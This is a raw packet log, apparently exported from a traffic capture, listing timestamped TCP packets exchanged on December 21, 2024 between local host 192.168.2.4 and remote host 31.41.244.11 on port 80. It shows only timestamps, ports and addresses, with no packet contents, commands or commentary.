Dec 21, 2024 10:15:10.404999018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.405024052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.405044079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.405061960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.405092955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.405118942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.405215979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.405276060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.524688959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.524775982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.524832964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.524894953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.528845072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.528909922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.528955936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.529012918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.596653938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.596735954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.596798897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.596832037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.600788116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.600841999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.600862026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.600910902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.607275009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.607364893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.607420921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.607479095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.615756989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.615832090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.615892887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.615950108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.624058962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.624133110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.624222994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.624273062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.632435083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.632503986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.632535934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.632601976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.640793085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.640847921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.640968084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.641024113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.649224043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.649260044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.649307013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.649341106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.657613993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.657690048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.657737970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.657793045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.666003942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.666073084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.666085958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.666131973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.673233986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.673269987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.673315048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.673367977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.680495977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.680561066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.680603981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.680793047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.716335058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.716480970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.789268970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.789313078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.789338112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.789376020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.791512966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.791585922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.791662931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.791726112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.795783043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.795855045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.797369957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.797440052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.797530890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.797589064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.801968098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.802004099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.802025080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.802057981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.806370020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.806405067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.806443930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.806474924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.810705900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.810765982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.810853958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.810931921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.814430952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.814502954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.814644098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.814702988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.819680929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.819716930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.819741011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.819789886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.823380947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.823416948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.823440075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.823479891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.827785015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.827820063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.827847004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.827879906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.832257986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.832364082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.832379103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.832412958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.836606026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.836659908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.836668968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.836714029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.840996981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.841052055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.841212034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.841279030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.844480038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.844577074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.844579935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.844631910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.847965956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.848023891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.848117113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.848175049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.851470947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.851581097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.851599932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.851684093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.854995966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.855107069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.855115891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.855165005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.858520985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.858578920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.858658075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.858711958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.980658054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.980703115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.980714083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.980747938 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.981370926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.981409073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.981424093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.981453896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.983871937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.983925104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.983990908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.984050035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.986545086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.986597061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.986603975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.986653090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.989321947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.989386082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.989403009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.989505053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.991977930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.992031097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.992086887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.992136002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.994625092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.994673014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.994725943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.994771957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.997383118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.997405052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.997428894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.997462034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.000008106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.000072002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.000116110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.000163078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.002720118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.002768993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.002803087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.002850056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.005422115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.005480051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.005505085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.005551100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.008148909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.008258104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.008260012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.008336067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.010827065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.010838985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.010889053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.013493061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.013554096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.013576031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.013613939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.016156912 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.016210079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.016237020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.016386986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.018799067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.018857956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.018940926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.018991947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.021583080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.021647930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.021672964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.021720886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.024240971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.024301052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.024312019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.024363041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.026985884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.027056932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.027061939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.027116060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.029756069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.029793024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.029814005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.029856920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.032358885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.032414913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.032505989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.032569885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.035017014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.035072088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.035126925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.035223961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.037694931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.037760973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.037844896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.037894964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.040400028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.040471077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.040530920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.040594101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.043131113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.043195963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.043270111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.043339014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.045733929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.045794964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.045928001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.045988083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.048425913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.048491955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.048580885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.048634052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.051202059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.051260948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.051350117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.051399946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.053847075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.053905964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.053980112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.054038048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.056597948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.056663036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.056751966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.056840897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.059272051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.059350967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.059391975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.059442997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.061944962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.062010050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.062079906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.062130928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.064574957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.064650059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.172756910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.172790051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.172859907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.172861099 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.173379898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.173438072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.173541069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.173599005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.175848961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.175909042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.176026106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.176083088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.178247929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.178308010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.178338051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.178534985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.180541039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.180608988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.180655003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.180711031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.182873011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.182930946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.182998896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.183057070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.185158968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.185218096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.185306072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.185360909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.187402964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.187505960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.187618017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.187671900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.189677000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.189737082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.189794064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.189850092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.191919088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.191956997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.191982985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.192015886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.194082975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.194149017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.194166899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.194222927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.196247101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.196299076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.196310997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.196363926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.198477030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.198513031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.198539972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.198570967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.200620890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.200680017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.200711012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.200763941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.202797890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.202856064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.202892065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.202946901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.205046892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.205080986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.205105066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.205135107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.207163095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.207221985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.207294941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.207350969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.209448099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.209542990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.209544897 CET	49765	80	192.168.2.4	31.41.244.11
